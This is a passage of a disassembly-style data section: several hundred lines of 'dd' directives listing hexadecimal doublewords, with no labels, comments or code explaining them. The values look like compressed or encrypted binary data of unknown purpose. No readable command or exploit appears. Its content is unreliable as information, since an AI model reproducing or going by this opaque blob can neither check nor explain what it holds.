		dd 7768089Bh, 828100C7h, 547E1CE1h, 17123A03h, 0A04B3D07h
		dd 0C0B48EAFh, 1B4682B3h, 69A609B4h, 9C03C80Bh,	0E8227199h
		dd 0F1C32EFCh, 83C41E79h, 69E79C4Bh, 4EA161F3h,	3DCC202Eh
		dd 31E51384h, 0E7504014h, 88E40C3Eh, 0E9CE750Bh, 11BC0097h
		dd 0AE782E5Ah, 8DBF1034h, 6BE86761h, 62F360DFh,	0E511A7Ch
		dd 0DFC02A77h, 16E5A240h, 2537443Dh, 0F0C06C2Dh, 0A5B9ECBh
		dd 545E4F14h, 0DBB600DCh, 7934B27Ch, 0D84749h, 5A515097h
		dd 73086538h, 0EC4800B4h, 0EB2D3183h, 647EF419h, 0FF558100h
		dd 0F7A74E86h, 8ADD0076h, 78903634h, 27006962h,	8FC4EA94h
		dd 6CCD26h, 0C3DCD004h,	909FE93Ah, 6B60BA07h, 0E0A08710h
		dd 7862CB1h, 0F6EFD2C8h, 68801BD7h, 74E42D79h, 10981949h
		dd 0D09F1E28h, 6DC307B7h, 0F750798Fh, 461D65h, 9864B96Ch
		dd 56574E12h, 0F3EA1A0Ch, 49A7603Fh, 0AA0058E6h, 8D2A20B7h
		dd 310014E2h, 0A19ED412h, 0E6870Ch, 33A2FB4h, 502598F8h
		dd 8692FC0Bh, 5148833Ch, 882D8B80h, 2EEB81h, 0E2621849h
		dd 8C04E47Ah, 0B91D6CB0h, 1500C1E3h, 5DF6563Fh,	0E90F003Dh
		dd 661C3EBDh, 0A8C0551Dh, 39F25C28h, 89270072h,	4A95E8D3h
		dd 0C00B20Dh, 0FD4B6279h, 0FE0E9631h, 0E39000A3h, 0EC13408Dh
		dd 0C1004FF4h, 7C4C69B7h, 1814206h, 93103533h, 890D95FCh
		dd 1B4B308h, 82DDD440h,	0A400E221h, 4B2D96h, 0D5E8A13Bh
		dd 0D432BF37h, 19308400h
		dd 1A3D717Dh, 299B00D9h, 0EC6E1664h, 41F96CAEh,	50129A8Ch
		dd 7F71988h, 9817603h, 98F870BBh, 2447A31Dh, 26C0789Ah
		dd 53D580C8h, 5DB0148Dh, 0A69DFC00h, 0D7D16D0Eh, 0BC130A19h
		dd 43EC42BDh, 0D0FC2651h, 0B933109Ch, 740F0409h, 0C6DC80E2h
		dd 77304C50h, 25FD00ABh, 4A90917Ch, 0E4F603F1h,	3CC08009h
		dd 8040556h, 0FD802CC7h, 3AFF481h, 0C1D94E43h, 0DEE84C77h
		dd 0D112F00Eh, 800598Bh, 0CD767D07h, 54DF4DDCh,	0D46CC00h
		dd 0F18B2971h, 5E035CB2h, 0B56437C0h, 8310033Fh, 0FB5FC6D6h
		dd 50419190h, 259B3B00h, 7B6BF955h, 0DC9849D3h,	94D04F00h
		dd 8A5163FEh, 8BA61819h, 0C0482D18h, 0E18624DAh, 0CD3A00ADh
		dd 0E61F59DFh, 415138h,	2B2D76D9h, 3369C5h, 8F524B0Dh
		dd 72B2AFC4h, 0F29F163Eh, 0FEC6A3Dh, 18B5FDDCh,	1FAE708h
		dd 0E6740210h, 28E3ABD4h, 7DDD00F4h, 83CB8440h,	856E2406h
		dd 42874068h, 9C7823Ah,	9D80DB04h, 61B5Dh, 364D4B8Bh, 32512797h
		dd 0BE2A7E00h, 4AED406Bh, 0C43C0EF3h, 0B0EF23ADh, 0B38737A7h
		dd 56C8B43Bh, 0EC004352h, 0F63FA49Eh, 10E8A81h,	72CE98D2h
		dd 0E956C9B4h, 65083031h, 0D300DEE0h, 7CCFBC0Eh, 457E86h
		dd 23490308h, 40F65829h, 0CE7F5600h, 0F3B8F1BDh, 71E090B0h
		dd 715F2C2h, 38AE1AAAh,	3CECA055h, 0C0F84490h, 0D87A6705h
		dd 3E87CFA6h, 0D38C1D80h, 0BBF0F1EBh, 0B8E703A7h, 676883DFh
		dd 33E8CAABh, 713AA6ABh, 0D3850086h, 0BBE12439h, 82DF0042h
		dd 143421C7h, 25006CDCh, 0FA81CAF7h, 2B41E7h, 44CFAEEDh
		dd 497A074Ch, 1E371900h, 2864121Fh, 9A1300C9h, 759BF02Fh
		dd 6F008550h, 6AA77792h, 0F5D6DEh, 97173013h, 4ACE891Eh
		dd 0DDD7AD00h, 7F24728Fh, 3CD407A1h, 80BD2547h,	63C89F46h
		dd 340FC500h, 0C7E89752h, 162C077Eh, 1092833Ah,	264FE993h
		dd 131CA800h, 0A58D43A0h, 9F962650h, 0AC1E8388h, 0BAA1F8E6h
		dd 0DB1A20ECh, 55D553Dh, 3D76E8D8h, 327D0D1h, 0F4E969F0h
		dd 0F76F1EF2h, 84771860h, 0FB48D61Ah, 424D003Eh, 695F52AAh
		dd 99532C5Ch, 5BA80034h, 759025CBh, 0F95DE106h,	60E47Dh
		dd 0A35C4061h, 7A70949Ch, 99004579h, 0B58C143Eh, 35C997h
		dd 0A0ECB87Fh, 695C71FEh, 0B0268F0h, 0E0904EE4h, 8FCEE0FDh
		dd 812C0060h, 0D3CD037Eh, 70013749h, 7701BCA2h,	6CE06938h
		dd 0F64C0040h, 0E11F4315h, 71004F36h, 5F9343Fh,	0FCF499h
		dd 2A9648Eh, 0FF4214B6h, 4E926B01h, 0BA347062h,	23AE20h
		dd 0F6C3793Eh, 386C8577h, 672D5200h, 0C681B44Ah, 91A3B4Bh
		dd 0AE8A3281h, 0E8EB59FBh, 0B03F9D77h, 57658040h, 3E0D8DCDh
		dd 504EF4h, 9E460198h, 0DE00BDA2h, 86C2997h, 7D74AD7Bh
		dd 32964CCFh, 9D82FE00h, 0A6DF2B94h, 0F4F8E890h, 0F3C7A02h
		dd 780D3637h, 0DE270770h, 0C034417Ch, 5C21E031h, 3CE31E06h
		dd 2E35D8h, 3F2C25A8h, 37E21BD7h, 0CF22AE00h, 0A41FAB28h
		dd 60B177D2h, 6C6B60A5h, 0C4B22C14h, 18FE1724h,	736F1300h
		dd 987D7579h, 0BCB71EA4h, 1BB30C3Ah, 2F809411h,	3B648835h
		dd 0F8CB180Fh, 0A2037E20h, 0CB87D72h, 8C7BBE28h, 0A40036D1h
		dd 0E1216062h, 196F12AAh, 812BEBDAh, 66E97095h,	0A5CCB100h
		dd 6C6FEAAAh, 785A1FD6h, 0FFB0701Ah, 8C007AB2h,	271193DBh
		dd 7180EBC4h, 22E607FEh, 0EA878E1h, 2158C80h, 88004243h
		dd 0ECFF8DEBh, 0D8CD9Fh, 59531AC4h, 2C6DDD6Fh, 6BA4891Ch
		dd 18A2F1CCh, 80BB00A5h, 2439791h, 4606A3EAh, 43E2814h
		dd 0DE501620h, 230408Ch, 35BCEEEBh, 3643ECA0h, 8A2C8160h
		dd 1F64547Fh, 31990369h, 87E7C914h, 111F5740h, 552B9D81h
		dd 7868B3E0h, 6B28C161h, 5036AD24h, 0D8E5B988h,	8D15F7EEh
		dd 25802E01h, 0DE34A11Ah, 88865A68h, 51861814h,	6B807E03h
		dd 7765F1A9h, 0E0C03BD1h, 0EEA63483h, 410031E9h, 7393EB9Ch
		dd 94240F64h, 977F0064h, 322592C4h, 0EEFFE0C3h,	0AD4EE03Dh
		dd 0F09550E7h, 67A9F826h, 0B068719Ch, 3D7DA08Bh, 0FD752A00h
		dd 0CD6A4EE2h, 86660048h, 0B1D69229h, 5100DDA1h, 2ACF33D7h
		dd 770322h, 43AE5B49h, 7A9450C0h, 178AC700h, 72AC6131h
		dd 667ECEh, 48E1F33h, 994FA1FCh, 79216D00h, 0B84DC2F0h
		dd 0E6270092h, 0F4E9148Fh, 7E98437Fh, 19F78500h, 0B832B9C5h
		dd 1257179Eh, 1650002Ah, 6E2C05B3h, 83476400h, 629F84CEh
		dd 12790755h, 0E05BD1C6h, 8CA54C7Dh, 2F217400h,	0F90F6880h
		dd 0F69CA83Ah, 0FC27A23h, 2D3B4CB7h, 810709D9h,	0BFBB5621h
		dd 4205CD5h, 0EF1098Eh,	3C27EA28h, 5011F002h, 10C03929h
		dd 11C966Ah, 1FF0A82Ch,	70CF00C4h, 5B6C63D6h, 6F74FBC1h
		dd 20DE8398h, 25CFCA80h, 2CEF5D5h, 0D7C7E37h, 14402698h
		dd 24804C02h, 163144A8h, 17B0D002h, 4B3B6DBDh, 96180E34h
		dd 6482C211h, 620E311Dh, 645D8359h, 784B0040h, 1D11D2F0h
		dd 0E5EE3B0Dh, 5E600B74h, 0F0106641h, 6C5F1CB1h, 83EE40F5h
		dd 0F417D450h, 44843F0Ah, 7D112C39h, 0B4F01E80h, 448C6D11h
		dd 76004C64h, 7528DEF0h, 1E39FB4Fh, 0C22F0E49h,	2E83E97Fh
		dd 1884A440h, 0C060096Fh, 532B4519h, 8AF62Dh, 1CCC32A4h
		dd 0D9C1E2FFh, 4017D000h, 46C5FCBDh, 585903C9h,	0F290AA19h
		dd 180A321Eh, 0E88D2441h, 57122DBh, 7E233D8h, 6DFEEF7Eh
		dd 832CA088h, 5200A1B4h, 8B4EFAA5h, 44135Dh, 0EF70B341h
		dd 53342720h, 3917A2FEh, 4F044973h, 0B2808EBDh,	0F9802DCh
		dd 9608FCDEh, 8B2E0980h, 940F010Ch, 0E7B99003h,	0ACB04960h
		dd 1F8FB5Ah, 95BA47FCh,	0EF5BCB9Ah, 0D384C0ACh,	9B722868h
		dd 62DD761Eh, 1B055000h, 737F3BEh, 0F55F013Fh, 0C04B27BAh
		dd 82B26352h, 9E2358h, 356F0F72h, 1AEC225h, 48A26D57h
		dd 873C8CF4h, 2D119E88h, 871ECE60h, 0A953010Ch,	0BFF8A5ACh
		dd 8E90E0D7h, 85181F79h, 0F179E422h, 0FADA0042h, 4A0C1E5Dh
		dd 18C04C0Ah, 0E0CA98D9h, 0F5AC0835h, 290118C6h, 6AF009E8h
		dd 0A00AA130h, 6F48EEF7h, 87801020h, 99B32614h,	3409D20Ch
		dd 0EF7F190Dh, 20E84A10h, 0B404741h, 18FAF37Ah,	96740110h
		dd 2100C8F0h, 1B7F14BAh, 0B80E59B2h, 5B76073Ah,	302D79A8h
		dd 160C925Eh, 3610CB8h,	7EF9BA28h, 0CCD73080h, 0D80645B7h
		dd 65269773h, 603C9483h, 0F9212451h, 0BBAC4CECh, 5FC50778h
		dd 4A922Ah, 76A84722h, 6513F700h, 1CDA14FFh, 0F90E286h
		dd 0D2E53A93h, 9A6707h,	0B2F9B1BFh, 0EBD04800h,	0C85A893Eh
		dd 0DD5C2820h, 43683A9Dh, 3015D283h, 800FAE85h,	7B713F3Bh
		dd 3658C088h, 6C930F3Ch, 0D8E2926h, 7F5F3860h, 0CA0009A8h
		dd 242CB621h, 3A28AB40h, 0BF00CF79h, 6DFF5001h,	7D0E9715h
		dd 0AA1AA609h, 7A18C55Eh, 0D50F69h, 619AFA9Eh, 890512C5h
		dd 957380A8h, 1C98A262h, 0AF848022h, 372983h, 9A6F1579h
		dd 95EBD636h, 1B7F84ECh, 0B1C0A772h, 7E3DF833h,	0D41F0E65h
		dd 6600D6C0h, 8843D7FAh, 6F008CB0h, 5499790Dh, 3E559CC9h
		dd 13800B5Bh, 0DB7E4324h, 0A6079162h, 0BDB76E60h, 73034B10h
		dd 3BF001AFh, 1D5128A8h, 10440A4h, 10C0743Ah, 0C2A11BF9h
		dd 8866004Ch, 0F7E9E8E4h, 5E01C125h, 0BBF1FEBDh, 7EC85368h
		dd 2C29C49Eh, 0C37D44E5h, 0B42D548h, 274024A3h,	8944BC24h
		dd 0DC9E00B9h, 99EF10h,	0CF112406h, 0D2BF3D2Fh,	0C02C2E01h
		dd 0D2A92D7h
		dd 43E07BE9h, 977DD3h, 5605CD19h, 31FDD511h, 809C303Bh
		dd 17E97CA8h, 65F5DAEh,	0C4890737h, 400F143h, 7D228211h
		dd 27CFCDh, 0B05B59DAh,	4644E734h, 0CEC1BB16h, 0E5D6C900h
		dd 99A64Eh, 0DD098733h,	0D48D2752h, 6CA02800h, 0ED54725h
		dd 49171F46h, 81228070h, 51EEC37Ah, 9A00A7F0h, 0AB3175AFh
		dd 1CAD8E2Bh, 4F3EDC4Bh, 5785A324h, 95D40032h, 0A28C66C6h
		dd 0C8533528h, 99049003h, 0D973DD1Bh, 0A4609AA5h, 8A3500ADh
		dd 1E60515Fh, 8100E3F7h, 44D558FAh, 13B022h, 65B92638h
		dd 0DE692C60h, 9C9D0707h, 0CDB0E318h, 303F0DBh,	5C79861Fh
		dd 0E48864CEh, 0C200515Dh, 0D6B436E5h, 0CA4927h, 0ED14D76Fh
		dd 5244DFAh, 456C5800h,	9D925DF1h, 0F07AF0E9h, 30D40080h
		dd 366484A2h, 2E003305h, 0EC1FF6DDh, 194029Ah, 29DCC9FFh
		dd 0E8C756A6h, 0CA0079D5h, 9837480Bh, 583873h, 0D805C8ABh
		dd 0EE029C1Fh, 293B1790h, 0F8370051h, 0FA3552D9h, 61C4010Fh
		dd 50CB3EF2h, 7C3680FDh, 0E59A47F0h, 799CF677h,	0CAEC9Dh
		dd 572D6C37h, 0C91B5270h, 828A0C00h, 1C48F48Fh,	0E38500C1h
		dd 8EF89DBBh, 0E7124BC4h, 41D5h, 16E4BADFh, 842F396Eh
		dd 0A8E028h, 62334BD1h,	14F910C4h, 0CEFB8600h, 71B10A87h
		dd 13C6F408h, 0A4DE7Eh,	0E0FD0957h, 0B7008229h,	0CD782F35h
		dd 7F364h, 50BD52E7h, 8BC3E638h, 5D6D3Ah, 0B687F24Ah, 2C480ACCh
		dd 13ABB3h, 0E19664D7h,	1F04CDBh, 9921A200h, 6992EB1Fh
		dd 0DCCF0FB3h, 0A7401E23h, 0C16E0E80h, 0F0DD9305h, 0A000C082h
		dd 56D696A2h, 0D89400F2h, 0DBC1E7ECh, 0B000EBA7h, 0DCE888DAh
		dd 783AA4CEh, 3CAB1EC6h, 6A45478Ah, 7A0D806Ch, 7800B364h
		dd 0A5E86D69h, 8053952Fh, 721DFAE5h, 7501ECF7h,	0B03FAB20h
		dd 18A64B00h, 5B0094B0h, 8E2F42FDh, 320B5ACh, 44C484BDh
		dd 81883D26h, 250362BBh, 0E3098A22h, 0BED0F032h, 4B30008Dh
		dd 80199DCAh, 0FF03D2ADh, 0D9C29697h, 0EABBA8C8h, 65550160h
		dd 173D9240h, 1A6ECCFh,	83EFA500h, 56ABE0CCh, 4DF402E8h
		dd 0E62A2133h, 0FDCA8080h, 0F600D3F3h, 0D0C57446h, 48C40E51h
		dd 7300B850h, 6BAE5F3Bh, 8BB05DD5h, 0D85E9E30h,	30A3B190h
		dd 8208A1E4h, 2B005DF6h, 40B9C669h, 0BA5422h, 0B023462Ch
		dd 0C231E647h, 0F4B28A0Eh, 29B6093h, 0AA1812h, 0B3EE6D16h
		dd 98D5041Bh, 150F87F4h, 80F63721h, 0F34BF9C3h,	767A00BAh
		dd 87D4D1E3h, 6D008631h, 0A5CCEE12h, 9798BEh, 3D29C5E6h
		dd 0DB563A68h, 6C1FA226h, 9C608038h, 38E108Ch, 487200C1h
		dd 0A66D5A9Bh, 8402CD93h, 7FBAA8D0h, 2954604Bh,	7B998A3h
		dd 0AC39917Eh, 6E4D9080h, 38390E17h, 524E000Dh,	0AB2A4AC6h
		dd 0F48D0E2Eh, 1B03F006h, 8EEBC7E2h, 85AA4688h,	7372D400h
		dd 757BE496h, 0CEB60005h, 0E0B2E89Dh, 0C20F1058h, 0E031BBA0h
		dd 1B91B65h, 7C800E6h, 271DCFA2h, 55386FA7h, 206880D2h
		dd 0F6338D73h, 0ECF40429h, 0C190DA76h, 206EFADCh, 6C00CAB3h
		dd 79FC1460h, 9A286F9h,	0E3F32488h, 125D7420h, 0F403DA26h
		dd 2DC2565h, 69E49280h,	54D0300Ch, 978309B2h, 68004E5Bh
		dd 9E734B7Dh, 6BE80898h, 49AD3100h, 19020B2Fh, 0A0A600B9h
		dd 0EC1C375Ch, 0CD004E58h, 5E3A6BD9h, 0ADE55A1h, 57FA2FCBh
		dd 8B0A00ACh, 0DEBA031h, 7A788100h, 60A40CA7h, 372504ABh
		dd 80133999h, 97550427h, 0E7036803h, 0A0BF4AE8h, 4B90F07h
		dd 11E69E3Ah, 506C8062h, 0EB00CB37h, 0EADDD890h, 0CEE730h
		dd 6B41C9A6h, 0E98EBC01h, 1C6AD010h, 305F9100h,	0B64CB54h
		dd 0CEC8DE03h, 0D8A69DF8h, 77F6AFFh, 456F1147h,	0CCFBD0B7h
		dd 2C00704Eh, 0D6426DE2h, 5EA00A7Ah, 3E9CFCF5h,	0BF2EFCE8h
		dd 8C00E037h, 570A7C82h, 0EE1A0066h, 92BB6EB1h,	0B0001251h
		dd 790296C5h, 3EDEC0AAh, 3080C2A5h, 4F8DF6BDh, 0DB077F82h
		dd 6F2B1090h, 0F35C2139h, 0F5C85CA3h, 0C55B1EAAh, 0C4F700DBh
		dd 0ED43B2EEh, 0DF09B6FEh, 800E699Eh, 0CADAECF9h, 0D956007Ah
		dd 0F14132C4h, 0C909336Dh, 8519D3FAh, 0FC83DD33h, 0CE2DB8DBh
		dd 87D51F67h, 806C8094h, 0FA3A71AAh, 89355912h,	0F9F75C04h
		dd 0F1E3D580h, 34973EEAh, 0A3BB4E00h, 76BFC27Ch, 30270800h
		dd 135FB74Ch, 215700CBh, 251FFC01h, 0B100AB03h,	3F1ECFEFh
		dd 70930Ch, 0C60EDAE4h,	0B64D4FD9h, 54E3F600h, 0D44EA2DDh
		dd 7A510F5Ch, 9E406710h, 0F850F4A1h, 2BAAC800h,	6F56FE38h
		dd 1770F7C2h, 0F54E26E4h, 0DE6B0FE4h, 4005A087h, 0C73F6645h
		dd 6DE73Dh, 3CB327B2h, 77298Eh,	44B0E133h, 0ABFF6634h
		dd 4511BD00h, 1B6EB9FEh, 42AC004Ah, 0EFE22060h,	7224C53Ch
		dd 0EC095C4Ch, 86480062h, 0B3AA75h, 0E06E49E9h,	23408754h
		dd 25729F00h, 4C047FC7h, 0BFE71293h, 0DECC008Fh, 52836439h
		dd 8103D6E8h, 0EBCD85FCh, 0D900D5A7h, 18CE2150h, 4A6A0F3Eh
		dd 171DAB66h, 0E78A0008h, 0C0283310h, 3FDE1F00h, 497C37A5h
		dd 2CCC9044h, 0F2B139h,	63AFB5ECh, 8F00298Ch, 9DDC2F3Dh
		dd 903219B7h, 0A3E3008Fh, 1620FBABh, 7D008556h,	17250EC2h
		dd 0EC689Ch, 37F8CA5Fh,	3860D8E7h, 128C3B8h, 0E500E4E2h
		dd 0D391BDBAh, 0ECB6D624h, 460A587Dh, 4D9F9400h, 3FC02501h
		dd 9AB38707h, 0FDD05F66h, 0D20B74h, 0D401CE61h,	0ACB0D6C9h
		dd 65685600h, 0C653EE44h, 5FE65Eh, 42C259DCh, 2E8BD49Fh
		dd 0CAC31701h, 8149BA87h, 3DD0BFD4h, 3881C29Eh,	14910AD3h
		dd 7F47CC1Fh, 437D3Dh, 0B3EB113Bh, 3DE97144h, 0B801690h
		dd 7F954CF3h, 55009E65h, 0E353A7A4h, 50DDD622h,	2C51C437h
		dd 0AE0FEEh, 0F51DA9B0h, 6609AE14h, 4027A6BFh, 1EB3E7FCh
		dd 40A01182h, 21D5E1D3h, 0FD095DD7h, 48247028h,	0EC547494h
		dd 6E46002Eh, 27CFE7D7h, 441DF981h, 0DCE62560h,	96D2D800h
		dd 60CA1AB6h, 79A7612Dh, 2298A372h, 0F0C2CE2Ch,	0D5207300h
		dd 12E2C661h, 827610A6h, 1CA99ECCh, 1AD39601h, 0CEA0DF62h
		dd 1898B43Dh, 0D14D6100h, 279081EDh, 655E00A0h,	0DC70DF2Eh
		dd 0B6074E9Fh, 9885F747h, 0C658805Eh, 30CEB069h, 61586E66h
		dd 113AD16Dh, 1C71032Dh, 3982E69Ah, 61391E81h, 8CA39E80h
		dd 84C2DE40h, 0AAFF70C0h, 5050A02Eh, 10E6C24h, 6A1C3F76h
		dd 0D0B37589h, 0ED00218Bh, 6BA4664Ch, 0E0E9E8h,	0CFB1881Dh
		dd 1B4B9E0Eh, 3C49C0F7h, 5EBDA21Ch, 0E90A2C80h,	43DBAFh
		dd 7C3411FCh, 2EC10B6Ah, 0D7017674h, 3F326D8h, 27DCDBF8h
		dd 243031Dh, 0FC6288ECh, 0A8014ED6h, 0BE86F78Dh, 880146Bh
		dd 47067627h, 53004C71h, 94DA7DD8h, 38D19ECh, 0D4931659h
		dd 24E0F851h, 0FB723339h, 0E6BFA504h, 8F822722h, 7DD0691Ch
		dd 7C5F6AE0h, 8CEE0046h, 37D93A33h, 21009554h, 0B075E7B9h
		dd 505755h, 0BF387366h,	3F639C10h, 9D5C40C0h, 4E4B7CC4h
		dd 1A384065h, 4B56960h,	8AF89A14h, 174900A0h, 0E55EE75Bh
		dd 282960BCh, 26E962DCh, 55478113h, 808A5883h, 58369A90h
		dd 0D80045A6h, 60760B49h, 970007ADh, 404D9E06h,	0CA381Bh
		dd 57337A6h, 0C118AC1Fh, 3FB159C0h, 0EB21F2h, 41F3906Ch
		dd 0D3BDE486h, 0DFA3530Fh, 2F1DA70Fh, 0B7ACB850h, 76C029FDh
		dd 38204E4Ch, 4CF41C2Dh, 3A7700Ch, 73CEA966h, 0CCED0207h
		dd 2301FA3Ch, 0CA2FA8A0h, 0C1008335h, 32D46D9Fh, 0DADF5h
		dd 81E62A11h
		dd 83A92D52h, 987A382Ah, 0A8061500h, 550D1F18h,	9BB0CFBh
		dd 5C69524Bh, 6B1C8F1Fh, 0B3F75380h, 11274Fh, 76ED35D0h
		dd 92F25752h, 594CBCA8h, 0FD006092h, 40D1CCE3h,	793CDC3Ah
		dd 0A5FF0E5Ch, 9FC1D864h, 8044794Fh, 2FE5EC81h,	0F030E6DAh
		dd 0C3303D6h, 0A6CC9691h, 804F203Bh, 0CAE56EE8h, 507AA03Eh
		dd 30013412h, 8481CBBh,	0A650C1E3h, 0ED7E55FEh,	4B18E6E0h
		dd 15A8E87Eh, 0F09E767Dh, 510E0216h, 0C5A7FEE4h, 1EBFB640h
		dd 0F766AD39h, 31872F01h, 5CFDC2A6h, 0E6C0C7D3h, 95FEDCh
		dd 89647D2Bh, 0D20EB337h, 4F5EDB00h, 3BE8C5EBh,	0A40B1866h
		dd 8CF829FCh, 0F71480h,	5D07814Bh, 5A0A5F3Ah, 0E00E2F0h
		dd 64A4E675h, 3CA912E8h, 9700C35Eh, 99E18487h, 133BF68Dh
		dd 3B9D80D2h, 12333DE7h, 0A1FA0021h, 0FEFF3824h, 0B50072C1h
		dd 0C234576Ah, 48369CA3h, 4004082h, 0E23DB73Eh,	0E7037091h
		dd 0E1651BDCh, 15FD98CAh, 9E5207E6h, 412718B5h,	0E0E5515Bh
		dd 0E000CE85h, 5DA6580Fh, 91CA66h, 47FC3934h, 0CC4C4608h
		dd 3C561700h, 65538B6Eh, 0BA09001Ah, 0F96A5DCAh, 0FC054907h
		dd 32395B92h, 8B61A80Ah, 0A022110Fh, 3BE9569Ah,	62380B3Ah
		dd 388099B3h, 7026636Ch, 0BC2C8B03h, 9728CB06h,	0CE6B03C0h
		dd 5EA30031h, 78C155A2h, 69071E5Ah, 0AB980630h,	5DEB1DB0h
		dd 31B00A8h, 0B9298133h, 57008B7Ah, 0A9EC4A5Ah,	9556D0h
		dd 0A13149E0h, 7BCFD2F6h, 0A73FB607h, 3AA0B185h, 71D4EBCh
		dd 6812095Fh, 11BF00D2h, 7800CDD1h, 5D04ED36h, 0B82DE242h
		dd 7C64FDDh, 0F72FA1h, 176F4C38h, 6D4E360Eh, 578FFCh, 705A3A03h
		dd 562D00FFh, 0FB38D7A6h, 9E8F875h, 42EA7800h, 3E2F521h
		dd 0FC4B0069h, 16A358E5h, 7C3B617Dh, 0DDCC8520h, 0F780D7AFh
		dd 1E46A8ECh, 813F1B56h, 6C239E8Bh, 0D9F02081h,	5DE15E00h
		dd 2FB4FDF6h, 0FB5B0ACFh, 6DCB9C9h, 906E8D1Bh, 0ECA79900h
		dd 0E983888Ch, 0A9F900BEh, 4A65A8F5h, 0F83BC4F7h, 3ED58049h
		dd 0EBAD68DEh, 0D97100BCh, 0B71C987Ch, 0F9F46E35h, 0B61A3603h
		dd 0A0BABDDFh, 125AED1h, 3C03C715h, 0E66FF60Fh,	9C80ED42h
		dd 0C6D2A27Ah, 70562501h, 0C7572835h, 84627FDh,	0BD620409h
		dd 0C503C3DAh, 422A0073h, 0FFA4B6CAh, 0D3B1C604h, 1DC1E469h
		dd 4C6089BEh, 2FD00030h, 41BC78ACh, 87096083h, 201DF758h
		dd 84BB1E80h, 0FE063851h, 6252CE80h, 9F9134Eh, 0FA0C5009h
		dd 0D78C0011h, 0A00ADCh, 4B9AEF0Dh, 6BD15FFFh, 880E14F8h
		dd 7ED3B786h, 0AFC80B80h, 0FA9AE5h, 0E8CB82ABh,	0AD55F49Fh
		dd 0CDB82B00h, 4A9D433Fh, 2AC1061Bh, 2466EC32h,	56E4FD1Fh
		dd 2907C70Ch, 23F200D7h, 6944451Dh, 0E507325Ah,	0EA9B4FF6h
		dd 2E5F8BC7h, 0C9A8200Ah, 9C1F5Bh, 97095E6Ch, 671C2CA7h
		dd 0AA753307h, 53E090A5h, 0BCA05Bh, 6A64CB1Bh, 0C3222D21h
		dd 3EA5D71Fh, 0CAE46781h, 0BF30978Ah, 56540049h, 0C042B71Dh
		dd 0B275B173h, 62CE1C00h, 5DF295FFh, 584D01AEh,	0C8DE8C93h
		dd 0A175C012h, 32698300h, 0AE38F3Dh, 45A00013h,	0CCE7BE15h
		dd 2E007164h, 0ACA7245Eh, 0F870C2h, 21ADC54Dh, 76F9057h
		dd 88866200h, 74EA2C9Ah, 0EC4118A1h, 0BDF9503Dh, 7166991Eh
		dd 62970380h, 7C4E5010h, 1AC5005Bh, 5FF8835Ch, 5707C266h
		dd 0A2217143h, 18F44CBFh, 10FD0230h, 86D602ECh,	489949E0h
		dd 0D1665500h, 61E2BCB6h, 0F58000C2h, 1FBD065h,	0FE0F9F4Bh
		dd 0CC881566h, 43086Fh,	319AD35Bh, 96DD3D18h, 2ED9CA00h
		dd 204F98EEh, 5D9E39EAh, 4E9DF880h, 3596F53Fh, 9360CB01h
		dd 0DA26C706h, 7CF778E0h, 0F17E0185h, 0F936079Fh, 6322067h
		dd 0C1826F01h, 0BAD2B94Bh, 1E9080E8h, 87D60F46h, 6043BE87h
		dd 676127A8h, 0F95B8E00h, 0F73CEC31h, 0F8BC1F0Ch, 0B956C08Fh
		dd 0B55FF71h, 775E801Dh, 15469D00h, 5A99F6h, 0A684023Ah
		dd 3BD5D1ADh, 0D9C41900h, 985EBE2Ch, 9FBF3C55h,	0CA82A603h
		dd 3798A723h, 0FC006F31h, 0C0E07CB1h, 1E0CDC3Bh, 0C02249E6h
		dd 62B5DD7Eh, 161C272Eh, 7D4004D6h, 0DE41057Ah,	7FF716B6h
		dd 1DBE001Eh, 37540960h, 0F8841000h, 0D06CCEEDh, 497101FFh
		dd 456AEEE8h, 0E0C8E92Fh, 0ED00D987h, 1B5B6723h, 3B7404E0h
		dd 4C80750Ah, 56127918h, 6E00F633h, 482FB896h, 0B5E12Bh
		dd 4EDE888Eh, 5577C065h, 99874000h, 0CC813F06h,	942D0072h
		dd 9D210AE8h, 0D97C9B9Fh, 80EC864Eh, 10E0AE00h,	0EEA9093h
		dd 0D329200h, 2ED8E812h, 166D0EDCh, 0B204480h, 0E1FC41D3h
		dd 0E543E40Fh, 0F466E07Eh, 4867CE08h, 4E00EBABh, 8B261F42h
		dd 0E00D563h, 4AA9AEEBh, 1D34D0h, 146BC259h, 0C75FF35Dh
		dd 16F862D8h, 37870088h, 3CAD4C51h, 863BBAE5h, 8E460525h
		dd 8480EF48h, 963E3BBh,	72532A82h, 0BC7380DFh, 0A42F9Ch
		dd 0F430914Bh, 473C81BFh, 4A49A506h, 0E602B17h,	0CF25F9D9h
		dd 6EEF7098h, 3DDAD1A0h, 0DBD69207h, 4FC1D19Fh,	3D44DEAh
		dd 2211C082h, 21DC24Ah,	19A14C01h, 175BA5CFh, 0CB30F4h
		dd 6FDE6626h, 0AD724EC8h, 4ADA4C00h, 0A54B298Dh, 5142037Dh
		dd 3D7AF127h, 81CB76FFh, 0B9585961h, 70E17641h,	7311A0BEh
		dd 484531CCh, 9081CFC5h, 2B1A43C7h, 9496C457h, 0F1356C00h
		dd 366A07DCh, 6240025h,	0C18CA385h, 4F002C1Ah, 0BD66BFCFh
		dd 4896AFB2h, 5F0031B1h, 0A9C12A7Eh, 9901148Ch,	9A4297DAh
		dd 0E06BD50Ah, 5E00C60Ch, 0D798BAC0h, 39857A2Ah, 8B00585Dh
		dd 8326947Fh, 0A31EE83Eh, 27404A81h, 166F5CEBh,	9EC800B1h
		dd 7CE6D94Ch, 0DFA92E8h, 394D500h, 0A6E48719h, 81F4AA86h
		dd 0D734E619h, 54A9E8h,	1AF82C67h, 81D4473h, 0A8666E28h
		dd 0D819D93Ah, 7703018Ah, 0DD3A50BEh, 3E90CFCh,	60562CC6h
		dd 92A0647Bh, 9CA028B8h, 0A0A8DA57h, 357FFC91h,	4B110A00h
		dd 0B088B419h, 1894005Eh, 18E07B8h, 0A84C3862h,	0C0A85108h
		dd 0A130DE0Ch, 58AAA9CCh, 0ACCA007Fh, 5679F83Ah, 4A0EF699h
		dd 80672BD7h, 49864BDCh, 88D0909Eh, 3F8A7E0h, 0D511D396h
		dd 128860DFh, 0E900A052h, 75C05BB5h, 1B4F0184h,	69DB487Eh
		dd 0FFE7C380h, 0ECFBF800h, 2C06C949h, 0FDD70C58h, 9DD1C056h
		dd 7744DD00h, 0F03103A5h, 92E507B2h, 90DBA1F3h,	658E0238h
		dd 2C377F28h, 283C1403h, 0E36995A2h, 8619EE4Bh,	3BC00B0h
		dd 0F346AB3Eh, 0AF015F9Dh, 22ACC59Bh, 7980EB56h, 968CAD81h
